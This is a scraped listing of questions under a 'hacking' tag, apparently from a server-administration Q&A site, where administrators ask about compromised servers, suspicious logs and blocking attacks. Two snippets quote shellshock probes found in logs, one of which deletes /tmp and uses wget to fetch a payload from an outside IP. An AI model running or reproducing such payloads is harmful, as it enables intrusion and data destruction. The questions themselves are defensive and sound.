Hacking is the violation of server or network security via exploitation of weaknesses in that security.

learn more… | top users | synonyms (1)

-1
votes
0answers
16 views

What application/service is expected under the URL /more?

I am seeing a lot of 'random' URLs giving 404 in my apache access logs: /favicon.ico /browserconfig.xml /robots.txt /more /a2billing /apple-touch-icon.png /apple-touch-icon-precomposed.png I ...
-4
votes
0answers
17 views

How to Protect your site fro Brute Force Attack [on hold]

I am facing problem in hosting of Zubidubi.com.In starting website is going quite good but in last days site is blocked by hosting provider.They are saying that your site is using more CPU Usage upto ...
0
votes
2answers
26 views

How safe is IPtables whitelisting?

I am deploying some VPS and of course, security is a big concern. I read that IPtables whitelisting is the best way to safeguard your machine. So I set up the follwing : echo "Flushing rules" ...
0
votes
2answers
52 views

Requests made to a website with a different domain/url in log files, hacking attempt?

in one of my websites I am logging all url requests made to the server. I log that data for stats purpose to improve the website. The logs look like http://example.com/search 2016-01-12 ...
-1
votes
0answers
17 views

Joomla site hacking issue [duplicate]

I've got a joomla website that has been hacked I've received the following message for my hosting company [Received: from localhost ([127.0.0.1] helo=dedi101.cpt1.host-h.net ident=Debian-exim) by ...
0
votes
0answers
17 views

netstat -r on debian give abnormal output

after looking for stuff with Debian "netstat" and try list stuff with "nestat -r" my main Server out a Long list of unkown Hosts ( mostly hacked IP´s by looking on abuseDB ) here a small example for ...
0
votes
0answers
14 views

Error 522, server not responding [duplicate]

I've an issue with my Google Cloud compute VM. It's running Ubuntu 14.04, Apache2, PHP and Percona MySQL. The server won't respond to TCP connections on port 80. I can connect via SSH, and the server ...
4
votes
1answer
640 views

Anomalous connection to china from debian server [duplicate]

TL;DR I didn't ask how to take care of my compromised server. I asked how to detect if a file is anomalous/extraneous/non-official. So this is not a duplicate of the question on compromised servers. ...
0
votes
1answer
68 views

found movies inside my server [duplicate]

This morning i found movies inside my server (debian VPS, apache,webmin/virtualmin), files are located in /var/log/roundcube/./ and the user/group is www-data I looked in my log (apache,proftp,auth) ...
0
votes
0answers
21 views

Prevent bruteforcelogin attacks from my server [duplicate]

i have received this warning from google that my server has attacked their servers/partners, see the email below Thank you for your follow up! We received an external report for malicious ...
0
votes
0answers
39 views

How to find out if I've been hacked [duplicate]

I am running Apache2 webserver and someone has attempted to hack me. using this script. How can can find if the attack worked and what its done if it has worked. I'm running Kali Linux 2.0. ...
0
votes
0answers
106 views

http cookie contains datr not working (none packets is returned) wireshark

When I filter in wireshark: http.cookie contains datr none packets is returned, the list in null. What's I going wrong?
0
votes
0answers
85 views

whos hacking my FreeSwitch from my own IP?

i have a very odd thing happening in my FreeSWITCH log, it seems that someone is calling me from my own ip address for example [NOTICE] switch_channel.c:1053 New Channel ...
2
votes
1answer
132 views

Possible Cisco Router Hack?

We have a Cisco EPC3928AD EuroDocsis 3.0 2-PORT Voice Gateway from our ISP. The router is connected to a firewall (an Ubuntu-box running iptables and Wireshark). Our LAN (10.0.0.1/24) is beyond the ...
1
vote
2answers
800 views

Server got hacked by some Crypto Lockers [duplicate]

My server (CentOS) recently got hacked by some Crypto Hackers. They encrypted all of my files and asking for ransom to decrypt the files. They kept a message in all folders, which start like this ...
0
votes
0answers
60 views

mod_evasive: Stop attacks against wp-login.php

i would like to stop attacks against some user's WordPress-installations on my server. This is an example of an attack: 91.208.65.12 - - [20/Oct/2015:10:33:08 +0200] "POST /wp-login.php HTTP/1.0" ...
1
vote
1answer
41 views

How to find location of wifi packet floods

We've seen ongoing wireless packet floods (beacon, probe requests, and probe response floods) that are reported in the event log of our office firewall appliance. These are being sent continuously and ...
-1
votes
2answers
122 views

Is this someone trying to hack the server?

I keep seeing the following coming up in my nginx and Apache server log files as a 400: () { :; }; /bin/ping -c 3 x.x.x.x x.x.x.x is different IPs. Does this look like a hacker trying to find a ...
-1
votes
1answer
111 views

Found someone hacking in my LAMP server centos 7 using GET request with WGET

This is a bit confusing and I think I was hit by a shellshock, by the way I'm not a sysadmin and only know a little bit about handling a linux. I'm running a website (LAMP) and hosting it in Digital ...
-1
votes
1answer
139 views

Server 2012 R2 TCP Timestamps

We will be having some penetration testing performed shortly and looking to clean up a few things. One of these is TCP timstamps in Windows. A simiple NMAP scan shows me a guess of the TCP timestamp ...
0
votes
0answers
168 views

Suspicious SELinux Audit Log Entries PHP-FPM Write Denied - How to investigate?

I found a few /var/log/audit/audit.log entries which have me a little bit concerned. SEAlert explains them as such: SELinux is preventing /usr/sbin/php-fpm from write access on the directory ...
0
votes
0answers
8 views

Maldet HIT LIST - what now? [duplicate]

I have gotten the following result after a maldet scan, should I just delete the 3 files, or is there something else I should do? FILE HIT LIST: {HEX}gzbase64.inject.unclassed.15 : ...
-1
votes
1answer
101 views

Exchange Sever Being Hacked

We have a two server Exchange environment and they've been hacked in some way. get-queue displays tens of thousands of emails in the queues. Most of the email was being sent to yahoo.com.tw, ...
0
votes
0answers
89 views

Weak points of ssh tunnel and x11 server, hack investigation

So, today I've been hacked. It's very puzzling to me how it was done, so I'm looking for experienced people to show weak points in design of my systems. I have two servers. One is VPS with ...
-1
votes
2answers
93 views

how to prevent non-admin user to gain admin access using overflow [closed]

There are all sort of coding best practices to prevent stack overflow attack but that is not what this question is about. What I want to know is how to prevent a legit non-admin user running a piece ...
2
votes
2answers
677 views

Stop China from connecting to my Google Compute Engine server

My company has a Google Compute Engine server hosted in North America. We get so many Chinese IP addresses sending requests to port 11 that it is costing us money for the ingress. Our firewall blocks ...
0
votes
1answer
257 views

Mysql crashed showing following errors. Is this a hack?

2015-05-17 14:50:38 1896 [Warning] Host name 'hn.kd.ny.adsl' could not be resolved: No such host is known. 2015-05-18 00:11:23 1896 [Warning] IP address '222.186.21.38' could not be resolved: The ...
-3
votes
1answer
130 views

How could this hack have been possible unless the host itself was compromised? [closed]

UPDATE II: I honestly fail to see how my question is inappropriate for this site, and no one seems to want to give me a reasonable response for that, but whatevs, I solved it. Thanks to the actual ...
-1
votes
1answer
103 views

Is it a ok wordpress file or is hack, look at this code [duplicate]

I was facing a hack My website is not hosted on a server but shared hosting, If server is hacked I cannot do anything. My Question is not about how to safeguard the server, but is the below code is ...
1
vote
1answer
82 views

Weird server behavior, fear security breach but nothing on logs

These days my hosting (a2hosting) had an issue with the node hosting my VPS and during this period my users noticed a weird behavior other than the several restarts that happened while there were ...
0
votes
0answers
27 views

Syslogd acctack

My hosting company told me, my VPS server (CentOS release 6.6) have abnormal activities issue (hacking other server) and blocked my outgoing traffic, they just give me limit info: The hacking ...
2
votes
2answers
80 views

What are some of the hacks that DNSsec is intended to prevent

I know that the overall purpose of DNSsec is to prevent spoofing your DNS record. But what are some of the actual processes/routines that are used that DNSsec actively prevents?
0
votes
0answers
245 views

How do you get Snorby to generate an alert through a custom rule?

I am having trouble getting a rule to activate, when a syn flood attack is happening. I have tried 2 iterations of this code and I am losing my sanity over it. The scenario is that I have 3 VMware ...
0
votes
0answers
49 views

Got hacked. Want to know how and protect the others similar setup instance [duplicate]

The website got hacked, would like to know how / possible approach the hacker did and how can i protect the server. This is the information of the hack: http://www.zone-h.org/mirror/id/23884086 The ...
0
votes
0answers
22 views

User agent string starting with “rm” - hacker? [duplicate]

I noticed this in my apache log: Referrer: () { :; }; /bin/bash -c \ User Agent (I've separated the cmds by ;): rm -rf /tmp/*; echo wget http://222.186.21.115:999/udso -O /tmp/China.Z-xtsu` ...
-1
votes
1answer
89 views

Understanding Postfix Mail Log (Part II)

There are several logs like below in my Postfix mail log: Mar 9 06:01:10 postfix/smtpd[23043]: initializing the server-side TLS engine Mar 9 06:01:10 postfix/smtpd[23043]: connect from ...
1
vote
0answers
22 views

Website ftp details hacked by Alsancak Tim [duplicate]

My web files are hacked by Alsancak Tim. some ine is hacked ftp username and password. then going to delete all files and updated his own file. Now i am looking my website, it display a new ...
2
votes
3answers
114 views

Block people searching for server admin pages

Occasionally I flip through our (apache) access log and I often come across people trying to fish for admin pages. For example, they are trying to access pages like: /wp-login.php ...
1
vote
1answer
198 views

Understanding Postfix Mail Log

Recently I checked my mail log and found a lot of messages like this (some cipher text have been truncated): Feb 23 11:57:42 postfix/smtpd[32451]: initializing the server-side TLS engine Feb 23 ...
-5
votes
1answer
96 views

how does one report an RDP attack to Microsoft when it's happening in real time? [closed]

To my surprise, Security Event 10 was for 104.43.193.6 which is apparently a Microsoft ip address: http://ip2location.com/demo/104.43.193.6 =. Microsoft Corporation. Likely AFAIK some has leased ...
-3
votes
1answer
191 views

Decode array of encoded objects [duplicate]

I need some help from you.. my VPS was hacked.. I was trying to decode the files I found.. here the content of one php file, it's an array of encoded objects. Can you help me? ...
1
vote
2answers
2k views

hacking to my apache using cgi script

I newbie to web programming, so I setup an apache2 sever for my practice. It seems that someone succeeded to hack my apache server. I have notice in my access.log the following line: 81.169.174.52 - ...
3
votes
2answers
1k views

Continuous POST requests on wordpress login page - hacking attempt?

From today morning, I am witnessing a series of continuous POST requests hitting on one of blog running on wordpress software on my server. Few things about this pattern: These continuous requests ...
4
votes
1answer
155 views

MySQL Database Being Tampered Without Injection

My MySQL database has been getting hacked, and I cannot find the loophole. I have solid protection in PHP to prevent against injection and the hacker himself has communicated with me and says he is ...
1
vote
0answers
224 views

Is my site getting hacked (Bluehost)?

I'm running a simple website off of Bluehost, and I needed to use custom Python scripts so I created a cgi-bin folder in my site's directory and added my cgi python files there. Everytime I tried to ...
0
votes
1answer
236 views

ubuntu sudoers file hacked?

I've 3 ubuntu 14.04 vm on a remote hosting for code repository and testing purpose. I've got them for more than 1 year now. Two of them are working properly, but on one of them I can't run root ...
3
votes
1answer
795 views

got weird email with server data. Does this mean I got hacked? [duplicate]

I just got the following "undelivered message" to my postmaster@mydomain.com Does this mean someone might have tried to (or succeeded in) hacking me? (I replaced certain parts in the below for ...
0
votes
1answer
124 views

Diagnosing heavy bandwidth usage

I run a couple of IIS web servers, one on win server 2008 R2, the other on 2003. Both fully patched and up to date, with AV. Running on a No NAT connection with 8 WAN IP's The 2003 machine seems to ...
-2
votes
1answer
320 views

How do I know how the hacker gained access to my machine? [duplicate]

I own a dedicated machine and today I got an email from my host saying that my server will be blocked if I don't stop abusing the network. I am not a spammer or hacker. Someone was using my machine to ...
0
votes
2answers
210 views

Server compromised, how deep is the intrusion when PHP files are changed in folder without write permissions [duplicate]

I know there have been a lot of similar questions, but none of them covered this specific question: I found on almost all PHP files on a clients server script injections, it was actually the script ...